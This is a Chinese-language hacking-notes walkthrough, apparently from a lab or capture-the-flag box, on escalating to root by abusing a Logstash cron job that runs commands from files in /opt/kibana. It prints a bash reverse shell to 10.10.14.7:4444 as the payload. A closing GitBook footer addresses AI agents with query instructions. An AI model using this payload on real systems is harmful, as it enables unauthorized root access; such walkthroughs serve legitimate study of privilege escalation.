> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/cron-jobs/logstash-cron-abuse-linux-privilege-escalation.md).

# Logstash Cron 滥用 - Linux 权限提升

## 这是什么

当以 root 身份运行的周期性任务执行可写脚本、不安全的相对路径或存在漏洞的处理器时，Cron 任务会创建提权路径。关键在于证明低权限用户能够控制某个特权计划任务将要运行的东西。本页具体关注 **Cron 任务（Logstash）** 并保持利用流程切合实际：识别条件，安全验证，然后运行证明影响所需的最小载荷。

## 枚举

在运行利用路径之前，先确认本地上下文和具体的错误配置。

```bash
cat /etc/crontab
ls -la /etc/cron.*
systemctl list-timers --all
```

## 示例

## 滥用 Logstash

查找用户可访问的所有文件 `kibana`:

```bash
find / -user kibana 2>/dev/null | grep -vE "usr|var|proc"
```

<figure><img src="/files/d31df025c50d977d69387423e02858650f98f74b" alt="" width="563"><figcaption></figcaption></figure>

通过访问 Logstash，我们发现了三个配置文件：

* `filter.conf`
* `input.conf`
* `output.conf`

<figure><img src="/files/901a07692aad15a190e87bfe9719e19fc660c63c" alt=""><figcaption></figcaption></figure>

{% hint style="warning" %}
总之，Logstash 执行一个 Cron 任务，每 10 秒检查一次是否存在名为 `logstash_*` 的文件，位于 `/opt/kibana/` 目录中。如果找到对应文件，并且其中包含具有特定输入的命令，格式如下：
{% endhint %}

`"message" => "Run/scommand/s:/s+%{GREEDYDATA:command}"`

<figure><img src="/files/80a4fbf8e02f0df33a2b04f70a48c2484237cf60" alt=""><figcaption></figcaption></figure>

要利用这个漏洞，需要创建一个名为 `logstash_exec` 的文件，放在 `/opt/kibana/` 目录中，内容如下：

```bash
bash -i >& /dev/tcp/10.10.14.7/4444 0>&1
```

然后我们监听 4444 端口，就能获得 root 权限。

<figure><img src="/files/f66f85fd5b98b55bea5c4debd4e2cfee9c54aad3" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/privesc/cron-jobs/logstash-cron-abuse-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.